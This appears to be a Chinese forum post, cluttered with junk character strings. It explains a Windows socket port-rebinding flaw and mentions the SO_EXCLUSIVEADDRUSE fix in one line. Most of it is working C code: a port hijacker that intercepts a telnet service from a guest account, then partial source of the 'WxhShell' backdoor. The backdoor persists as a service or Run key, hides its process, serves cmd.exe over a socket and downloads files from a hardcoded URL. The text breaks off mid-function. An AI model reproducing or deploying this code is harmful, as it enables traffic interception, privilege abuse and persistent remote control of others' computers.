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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qt
!T%K s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SyWLPh R/UL4R,)^ saddr.sin_family = AF_INET; c{SD=wRt,y b#2$Pd:( saddr.sin_addr.s_addr = htonl(INADDR_ANY); n!>#o1Qr 0u7\*Iy bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 61}hB>TT: hV6=-QL*B 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^9zFAY.| h+! 这意味着什么?意味着可以进行如下的攻击: 1}$GVb%i mEM/}]2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V(LE4P1 /cN. -lEo% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (XDK&]U IxxA8[^V 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @N'0:0Nb_ Z%uDz3I\Q" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 C6neZng ly)b=ph& 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "~uo4n~H dAZh# i[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DwLl}{r' sJHN4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]rs7%$ZW ;%V%6:5 #include N+[ |"v #include D]h~\ #include
E+.%9EKU #include 6}>:sr DWORD WINAPI ClientThread(LPVOID lpParam); -1>$3-ur~ int main() k\J 6WT { 9j6 WORD wVersionRequested; wB0zFlP DWORD ret; .vbUv3NI WSADATA wsaData; p7YfOUo
k BOOL val; 51\N+ SOCKADDR_IN saddr; Gw;[maM!%` SOCKADDR_IN scaddr; Q6r!=yOEY int err; KC`~\sYRN] SOCKET s; Q;3v ]h_ SOCKET sc; 4GY:N6qe' int caddsize; UQ ~7,D`=# HANDLE mt; 0qV"R7TW DWORD tid; o.Jq1$)~y wVersionRequested = MAKEWORD( 2, 2 ); 6a=Y_fma err = WSAStartup( wVersionRequested, &wsaData ); I'NE>!=Q if ( err != 0 ) { 2EdKxw3$] printf("error!WSAStartup failed!\n"); ^6Std
x_ return -1; t#p*{S 3u } hjgxCSp saddr.sin_family = AF_INET; l*yh(3~} A>c/q&WUk //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V=C@ocyZ _c W(R,i saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6.!3g(w saddr.sin_port = htons(23); H(1(H0Kj" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M_4:~&N$ { $2M dxw5 printf("error!socket failed!\n"); WG_20JdJY return -1; zJp@\Yo+ } A|D]e)/6+B val = TRUE; }#rdMh //SO_REUSEADDR选项就是可以实现端口重绑定的 4G%!t`?q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~<%/)d0 { -C7IUat< printf("error!setsockopt failed!\n"); fnUR]5\tc return -1; A-"}aCmik } 3]X9 z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Jhyb{i8RR //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G|p3NhLgO= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,a$?KX
kUdl2["MZ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QqC4g] { Eoj 2l&\ ret=GetLastError(); 'Gw;@[ printf("error!bind failed!\n"); CulU?-[i return -1; \rw/d5. } ma\UJz listen(s,2); S!<1CFh while(1) =.]>,N`C { ww]^H$In caddsize = sizeof(scaddr); sp0j2<$a //接受连接请求 C(7Y5\"P sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f4s^$Q{Q if(sc!=INVALID_SOCKET) =!G3YZ { sh6F-g mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -bamNw>| if(mt==NULL) MBbycI, { tp3>aNj printf("Thread Creat Failed!\n"); b,U3b})( break; T/_JXK>W } Y!kz0([ } *hHy>(* CloseHandle(mt); DiB~Ovh| } z_dorDF8`> closesocket(s); s{- `y`JP WSACleanup(); 3q>6gaTv return 0; 5K;vdwSB } %r<c>sFJN DWORD WINAPI ClientThread(LPVOID lpParam) [Z5Lgg& { hm%'k~ SOCKET ss = (SOCKET)lpParam; +q==Y/z SOCKET sc; R|%R-J] unsigned char buf[4096]; Y=oj0(Q* SOCKADDR_IN saddr; 93Yo}6> long num; fwojFS.K DWORD val; 5!55v DWORD ret; \;?=h //如果是隐藏端口应用的话,可以在此处加一些判断 H(^O{JC]y! //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 rpgr5> saddr.sin_family = AF_INET; 5dVSir saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); brkR,(#L3 saddr.sin_port = htons(23); iI[Z|"a 21 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3&D;V;ON}_ { IX7|_ci printf("error!socket failed!\n"); 959i2z return -1; l_lm)'ag } |k wkikGQS val = 100; qzVmsxBNP if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w$9aTL7 { uA?_\z? ret = GetLastError(); #rZk&q return -1; Tr1#=&N0 } fq){?hk~O if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OXC7
m { JTw'ecFev ret = GetLastError(); }mjJglK!N return -1; OE!:`Bo3T } o0~+%& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) IED7v { K_iy^|0)5] printf("error!socket connect failed!\n"); !af35WF closesocket(sc); @15%fX`*o closesocket(ss); +w-UK[p return -1; v^aARIg } 8c m,G while(1) OCzWP, { &(fB+VNrOH //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .,:700n+^ //如果是嗅探内容的话,可以再此处进行内容分析和记录 Mj&f7IUO //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b9[KdVsT6^ num = recv(ss,buf,4096,0); [_jTy;E if(num>0) _C v({m&N send(sc,buf,num,0); %C=
{\]-2~ else if(num==0) XelY?Ph,, break; -{>Nrx| num = recv(sc,buf,4096,0); U9;C#9E if(num>0) 5|ih>? C/( send(ss,buf,num,0); (Al.hEs' else if(num==0) Q{Gi**< break; #,O<E@E } ;T}#-`O_Im closesocket(ss); }Po&6^ closesocket(sc); 0px@3/ return 0 ; =KwG;25hX } 30Nya$$A= J!,5HJh1 ]6{G;f$ ========================================================== 29g("(}TK I"E5XVC); 下边附上一个代码,,WXhSHELL NDhHU#Q9 WigC' ========================================================== ,TD@s$2x #F5O>9hA #include "stdafx.h" ^5biD9>M o/9(+AA> #include <stdio.h> Hw34wQX #include <string.h> $4`RJ{ZJw] #include <windows.h> _pQ9q&i4 #include <winsock2.h> guv)[:cd; #include <winsvc.h> [3s,U4a #include <urlmon.h> rMqWXGl`( " *xQN "F #pragma comment (lib, "Ws2_32.lib") x%ZjGDF m #pragma comment (lib, "urlmon.lib") "sz)~Q'W5 8#S|jBV #define MAX_USER 100 // 最大客户端连接数 rr2'bf<] #define BUF_SOCK 200 // sock buffer b1>%%# #define KEY_BUFF 255 // 输入 buffer !`vm7FN"u __""!Yz #define REBOOT 0 // 重启 -^8gZk/(W #define SHUTDOWN 1 // 关机 $kJvPwRO $Q1:>i@I|g #define DEF_PORT 5000 // 监听端口 @R >4b `gy]|gS#b #define REG_LEN 16 // 注册表键长度 -p`hevRr #define SVC_LEN 80 // NT服务名长度 KcVCA Wx"bW ICc // 从dll定义API b/oJ[Vf typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pYJv|`+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &C3J6uCm+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /reSU 2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wH[@#UP3l :{C#<g` // wxhshell配置信息 >Vc_.dR)E struct WSCFG { : L` int ws_port; // 监听端口 KYVB=14 char ws_passstr[REG_LEN]; // 口令 0@1AH< int ws_autoins; // 安装标记, 1=yes 0=no q@P5c char ws_regname[REG_LEN]; // 注册表键名 XU.ZYYZ= char ws_svcname[REG_LEN]; // 服务名 38Lc|w char ws_svcdisp[SVC_LEN]; // 服务显示名 ~=P&wBnJ char ws_svcdesc[SVC_LEN]; // 服务描述信息 j& f-yc'i- char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n.,\Z(l|0 int ws_downexe; // 下载执行标记, 1=yes 0=no Y_S^B)y char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ["GC
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b&p*IyJR ?s(%3_h }; 'OSZ'F3PV |UM':Ec // default Wxhshell configuration 3*64)Ol7t] struct WSCFG wscfg={DEF_PORT, UDV,c o "xuhuanlingzhe", \uQB%yMoz 1, A[v]^pv' "Wxhshell", lRnst-inlI "Wxhshell", 2t\a/QE)E "WxhShell Service", QvK/31*QG "Wrsky Windows CmdShell Service", V{;Mh
u`+ "Please Input Your Password: ", +Tde#T&[ 1, BBnbXhxZ " http://www.wrsky.com/wxhshell.exe", * 4GJ< "Wxhshell.exe" (7`&5md }; 4p&qH igG 7Q} P}9n // 消息定义模块 .Nr}V.?57 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rE[*iq,# char *msg_ws_prompt="\n\r? for help\n\r#>"; p+#J;. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; O9oVx4= char *msg_ws_ext="\n\rExit."; +"Ek?
)? char *msg_ws_end="\n\rQuit."; Yt!UIl\< char *msg_ws_boot="\n\rReboot..."; Jg3}U j2By char *msg_ws_poff="\n\rShutdown..."; Ua\g*Cxh char *msg_ws_down="\n\rSave to "; 2pH2s\r<UJ 3Z NYR' char *msg_ws_err="\n\rErr!"; !NK8_p|X char *msg_ws_ok="\n\rOK!"; EUmQn8 $@+\_f'bU> char ExeFile[MAX_PATH]; 7*d}6\
% int nUser = 0; ho
?.\Jq HANDLE handles[MAX_USER]; %Vrl"4^}t int OsIsNt; 6T&6N0y+9 s#?Y^bgH SERVICE_STATUS serviceStatus; Z<K[ SERVICE_STATUS_HANDLE hServiceStatusHandle; &G5+bUF, )7c\wAs // 函数声明 )!hDF9O int Install(void); d4/snvq int Uninstall(void); yC4JYF]JN int DownloadFile(char *sURL, SOCKET wsh); TLl*gED int Boot(int flag); )-#% void HideProc(void); Yn[y9;I{ int GetOsVer(void); ()v[@"J int Wxhshell(SOCKET wsl); {%^q8l4j void TalkWithClient(void *cs); gCz^JM int CmdShell(SOCKET sock); i0Qg[%{9# int StartFromService(void); I<z
/Y? int StartWxhshell(LPSTR lpCmdLine); v-Ggf0RF -#j-Zo+< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =G;whd}] VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7EOn4I2@[ q0jzng // 数据结构和表定义 W@AZ<(RI: SERVICE_TABLE_ENTRY DispatchTable[] = G+ Y`65 { CspY+%3$ {wscfg.ws_svcname, NTServiceMain}, V/$qD {NULL, NULL} nsij;C }; .@JXV
$Z _
mhP:O // 自我安装 U:c!9uhp int Install(void) G9:[W"P { ,'m<um char svExeFile[MAX_PATH]; oOBN HKEY key; lLxKC7b strcpy(svExeFile,ExeFile); Sb> ;k(;`: .1.n{4z>: // 如果是win9x系统,修改注册表设为自启动 /@lXQM9T if(!OsIsNt) { GfD!Z3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G#@o6r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v)!Rir5 RegCloseKey(key); 'h%)@q)J) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &!2
4l=! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M/:kh,3 RegCloseKey(key); fBS;~;l return 0; C^K?"800 } Q?L-6]pg } Tf
Q(f? } 25t2tj@S else { sKB])mf] |L.QIr,jCC // 如果是NT以上系统,安装为系统服务 >1T=Aw2Z. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C]K@SN$ if (schSCManager!=0) iE':ur<` { ]Hc`<P
SC_HANDLE schService = CreateService i|*(vH&D. ( -wvrc3F schSCManager, zIf/j k wscfg.ws_svcname, VT?JTW wscfg.ws_svcdisp, ,m{Zn"?kS SERVICE_ALL_ACCESS, ]L^X}[SH SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R#1h.8 SERVICE_AUTO_START, ~ULuX"n SERVICE_ERROR_NORMAL, =<y$5"| svExeFile, mNc( NULL, :@KWp{ D7 NULL, ",(-AU!a)h NULL, VzA~w`$d NULL, :-xp'_\L NULL hdQ[=PH) ); dMCV
!$ if (schService!=0) l6:k|hrm; { &7,Kv0j} CloseServiceHandle(schService); A?ma5h CloseServiceHandle(schSCManager); DhG2!'N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U2$e?1y strcat(svExeFile,wscfg.ws_svcname); v2gK(&? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e!d&
#ofw| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p
)etl5 RegCloseKey(key); ba1zu|@w return 0; 6vQAeuz<Fq } KVvIo1$N } MScjq CloseServiceHandle(schSCManager); D@rOX (m } eY"y[ } *Tl"~)'t~ -d[9mS return 1; RvZi %) } K%[Rv#>;q| b&"=W9(V // 自我卸载 BLgmFE2 int Uninstall(void) Y
6K<e:Y { B%6>2S=E HKEY key; 1?]Gl+} pR4{}=g, if(!OsIsNt) { Yn+/yz5k_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _Xlf}BE RegDeleteValue(key,wscfg.ws_regname); xop9*Z$ RegCloseKey(key); 4 C/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1u:OzyJy RegDeleteValue(key,wscfg.ws_regname); #
5v 2`|) RegCloseKey(key); QxwZ$?w% return 0; T?N' k= } Mc>]ZAz r } 8c3`IIzAS } z'O$[6m6 else { I;qeDCM kpsus \T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @OZW1p if (schSCManager!=0) M}!7/8HUC { Wy.2*+5FX0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Sir7TQ4B if (schService!=0) 36,qh.LKn { (~?P7RnU% if(DeleteService(schService)!=0) { @`G_6<.` CloseServiceHandle(schService); Xt(w+ CloseServiceHandle(schSCManager); CN#`m]l. return 0; sg;Gk/] } =SA@3)kHH CloseServiceHandle(schService); BT: = } U;Se'*5xv CloseServiceHandle(schSCManager); HDvj{ } pa N )t } !lG5BOJM ,)hUL/r6 return 1; uhSRl~tn } j2} C 5?kJ]: // 从指定url下载文件 ajq [ID int DownloadFile(char *sURL, SOCKET wsh) j+\I4oFN { ?w`uv9NUJ8 HRESULT hr; \`;FL\1+W char seps[]= "/"; |y)R lb#d char *token; AH{]tE char *file; !R-M:| char myURL[MAX_PATH]; fLA!oeq{&} char myFILE[MAX_PATH]; sn
'#]yM +v2Fr} strcpy(myURL,sURL); }_u1' token=strtok(myURL,seps); &, hhH_W while(token!=NULL) F-k3'eyY { 51W\ %aB file=token; ;g?oU"Y M token=strtok(NULL,seps); $`(}ygmP } ><}FyK4C &?f{. GetCurrentDirectory(MAX_PATH,myFILE); &%+}bt5 strcat(myFILE, "\\"); T~J6(," strcat(myFILE, file); GKu@8Ol-wu send(wsh,myFILE,strlen(myFILE),0); Z@>hN%{d+g send(wsh,"...",3,0); wASgdGoy hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kzny4v[y if(hr==S_OK) ?wt%e; return 0; @(Wx(3JR?} else @G+Hrd6 return 1; r"d/9 [wWip1OR } coT|t
T w&jyijk( // 系统电源模块 !(~eeE}|lM int Boot(int flag) ;XNe:g.CR { +[:"$?J HANDLE hToken; Qz2Yw ` TOKEN_PRIVILEGES tkp; !4\`g? 4G"T{A`O if(OsIsNt) { oXRmnt OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X|^E+
`M4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G7yCGT)vQ tkp.PrivilegeCount = 1; lyNa(3
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?
acm5dN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _)
k=F= if(flag==REBOOT) { /{vv n if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6S)$wj*w return 0; CMB:% } `% k9@k. else { 6*8"?S' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J@PwN^` return 0; ~CIA6& } ) (unL`y } fDt#<f 4; else { 6My=GByC if(flag==REBOOT) { xy)Y)yp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u&yAMWl return 0; qgg/_H:;w } nd*9vxM else { 23?\jw3w if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T4dLuJl return 0; k FE2Vv4. } uCO-f<b } [[2Zcz: n[8ju,= return 1; c,pR+DP } <^q4^Q[ 649{\;*4 // win9x进程隐藏模块 OFJ49X void HideProc(void) A:PQIcR;V { Fka&\9i QH@?.Kb_qU HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G8dC5+h if ( hKernel != NULL ) ,e$]jC<sv2 { FDBj<uXfM| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ts%XjCN[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7s@%LS FreeLibrary(hKernel); WP[h@#7< } 4>eY/~odq] !)gTS5Rh: return; 6$$4!R- } c<- F_+[ 11t+
a,fM // 获取操作系统版本 C1&~Y.6m int GetOsVer(void) DuX7 { {`?C5<r OSVERSIONINFO winfo; *'4+kj7> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %EkV-%o* GetVersionEx(&winfo); pxP,cS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]D_"tQ?i return 1; bC*( ,n<' else 6-#<*Pg return 0; (3a]#`Q } OXcQMVa
6 Dx`-Kg_p // 客户端句柄模块 8g0By;h; int Wxhshell(SOCKET wsl) g}
\$9 { .<&o, D SOCKET wsh; aVkgE> struct sockaddr_in client; NwPGH=V DWORD myID; 5-'jYp/ uqe{F+;8& while(nUser<MAX_USER) iR}3 [ { %+Hhe]J ld int nSize=sizeof(client); zURxXo/\V wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cV^r_E\m if(wsh==INVALID_SOCKET) return 1; Nfe v"wxHro handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tgmG#b* if(handles[nUser]==0) n7-|\p!xP6 closesocket(wsh); z
H$^.1 else )H=}bqn nUser++; 8T"C] } ~nYp*t C' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tg =ClZ- Y' K+O return 0; pFE&`T@ < } r\nKJdh;ka }nh!dVA8lh // 关闭 socket UQ]WBS\ void CloseIt(SOCKET wsh) C>l{_J)n { ' cM2]< closesocket(wsh); Nl"Xl?y} nUser--; A"|y< ExitThread(0); l
Ozi| } zgre&BV0q obA}SF // 客户端请求句柄 Cka&b void TalkWithClient(void *cs) .*N]SbU<8 { 0zJT_H+ 0X \OQ; SOCKET wsh=(SOCKET)cs; +c4-7/kE char pwd[SVC_LEN]; q8&2M char cmd[KEY_BUFF]; j"G1D-S: char chr[1]; [I6(;lq2 int i,j; ~)J]`el,Q R(YhVW_l while (nUser < MAX_USER) { ":=\ci]e% RNa59b if(wscfg.ws_passstr) { hF m_`J&" if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GD*rTtDWn //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]M^k~Xa //ZeroMemory(pwd,KEY_BUFF); 5Bwr\]%$P i=0; Vyy;mEBg while(i<SVC_LEN) { !~sgFR8W k55s-%Ayr // 设置超时 OYnxEdo7 fd_set FdRead; o>Fc.$ngZ struct timeval TimeOut; RWyDX_z#< FD_ZERO(&FdRead); Vo1,{"k FD_SET(wsh,&FdRead); s?-@8.@ TimeOut.tv_sec=8; ] oOSL=~c TimeOut.tv_usec=0; f3r\X int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M1nH!A~o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g2?kC^=z= #>O!N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2pr#qh8 pwd =chr[0]; hA?Flq2QV if(chr[0]==0xd || chr[0]==0xa) { 0%x"Va~"z pwd=0; hM_0/o- break; [D;wB|+, } n8h1SlK08 i++; j ?c"BF. } kSL7WQe?j ,=TY:U;? // 如果是非法用户,关闭 socket l]g
/rs if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x}^:Bs+j }
IBP3 y4N8B:j% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]|H`?L send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K)ZW1d; hk5[ N= while(1) { pJg'$iR!/ =1|^) 4M,x ZeroMemory(cmd,KEY_BUFF); V(gmC%6%l* qu8!fFQjYL // 自动支持客户端 telnet标准 R_DstpsT j=0; 1w`]2 while(j<KEY_BUFF) { /z=xEnU# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2wCSjAWWh( cmd[j]=chr[0]; JD\yl[ac% if(chr[0]==0xa || chr[0]==0xd) { cWp5' e]A cmd[j]=0; W;Pdbf" break; 3VI[*b } S['rfD>9 j++; B|\JGnNQ } kjj4%0" d#tqa`@~ // 下载文件 i`nmA-Zj[ if(strstr(cmd,"http://")) { Gt4/ax:A@ send(wsh,msg_ws_down,strlen(msg_ws_down),0); %yyvB5Y^ if(DownloadFile(cmd,wsh)) %>];F~z send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?&gqGU} else 3p+V~n.+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l+ ,p= } Ux/|D_rlf else { lmGVSdo
hSN{jl{L` switch(cmd[0]) { 5SB!)F] R^p'gQc$
// 帮助 \X*Es.;|x case '?': { mRurGaR send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k4C3SI*`4 break; 3-=f@uH! } &g;&=<#I // 安装 pftnFOLO case 'i': { $q$G if(Install()) ~cf*Oq send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7:M`k #oDP else
x>]14bLz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); icrcP ~$A break; MQ#nP_i } _\2Ae\&c // 卸载
}OsAO case 'r': { wB(X(nr if(Uninstall()) !&eKq?P{j send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Mj:bm&9 else o){\qhLp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sQ}E4Iq1#S break; ;_K3/: } Xf YbWR // 显示 wxhshell 所在路径 MwuRxeRO- case 'p': { WR.>?IG2E char svExeFile[MAX_PATH]; >iV2>o _ strcpy(svExeFile,"\n\r"); 4@mK:v% strcat(svExeFile,ExeFile); i^SPNs= send(wsh,svExeFile,strlen(svExeFile),0); K\trT!I break; 3
0.&Lzz } QomihQnc // 重启 : MEB] } case 'b': { Q M) ob send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5(\H:g\z if(Boot(REBOOT)) |Wg!>g! send(wsh,msg_ws_err,strlen(msg_ws_err),0); E]P7u"1 else { yg^ 4<A closesocket(wsh); +^ cjdH* ExitThread(0); j[RY } z 0}JiW R break; D#k ~lEPub } u~~H'*EM // 关机 ;Tec)Fl case 'd': { e~ZxDAd send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "?M)2,:A if(Boot(SHUTDOWN)) xxQgX~'x send(wsh,msg_ws_err,strlen(msg_ws_err),0); b[2 #t else { 8+,I(+
closesocket(wsh); lD#S:HX ExitThread(0); 96d&vm~m1 } 4M)oA|1w break; Bfu/w } .Cu0G1 // 获取shell W,5_i7vr case 's': { j0~dJ# CmdShell(wsh); D=jtXQF closesocket(wsh); @b9qBJfQ ExitThread(0); xdgbs-a) break; ELZ@0, } !DkIM}. // 退出 hEA;5-m case 'x': { (XNd]G send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
<64#J9T^ CloseIt(wsh); _&RGhA break; RDOV+2K } oi7Y?hTj // 离开 LYke\/ md case 'q': { r@c!M|m@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); f%/6kz closesocket(wsh); @;X#/dZe WSACleanup(); d-jZ 5nl( exit(1); "9#hk3*GqX break; J6mUU3F9f } 4*9BAv } T[- %b9h> } ZfibHivz fC+tu>= // 提示信息 XzB3Xs?W2 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z
.+J\ } p{x6BVw?> } >?jmeD3u v)aV(Oa return; e\._M$l } i(YR-vYK g:YUuZ // shell模块句柄 E %?>
%h int CmdShell(SOCKET sock) %3yrX>Js { 63'L58O STARTUPINFO si; NNBT.k3) ZeroMemory(&si,sizeof(si)); nK`H;k si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zp\_5[qJ; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pf~0JNnc PROCESS_INFORMATION ProcessInfo; *G[` T%g char cmdline[]="cmd"; Mehp]5* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 69 J4p=c, return 0; E( *S]Z[ } 0x#
V s
>k4G // 自身启动模式 %reW/;)l{ int StartFromService(void) ~FVbL-2 { L+Gi typedef struct r-Oz k$ { w+{{4<+cd DWORD ExitStatus; bYYjP.rcF DWORD PebBaseAddress; s>=$E~qq DWORD AffinityMask; f[q_eY DWORD BasePriority; gX(8V*os^ ULONG UniqueProcessId; x[R?hS,0t ULONG InheritedFromUniqueProcessId; r;O?`~2'4 } PROCESS_BASIC_INFORMATION; M"foP@ Mo]iVj8~ PROCNTQSIP NtQueryInformationProcess; }Qh%Z) knzQ)iv&& static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]''tuo2g8 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bd3>IWihp #fFD|q HANDLE hProcess; uN0'n}c;1. PROCESS_BASIC_INFORMATION pbi; ~Fo`Pr_ @"iNjqxh HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z'zC if(NULL == hInst ) return 0; I]B9+Z?xo U+uIuhz g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst 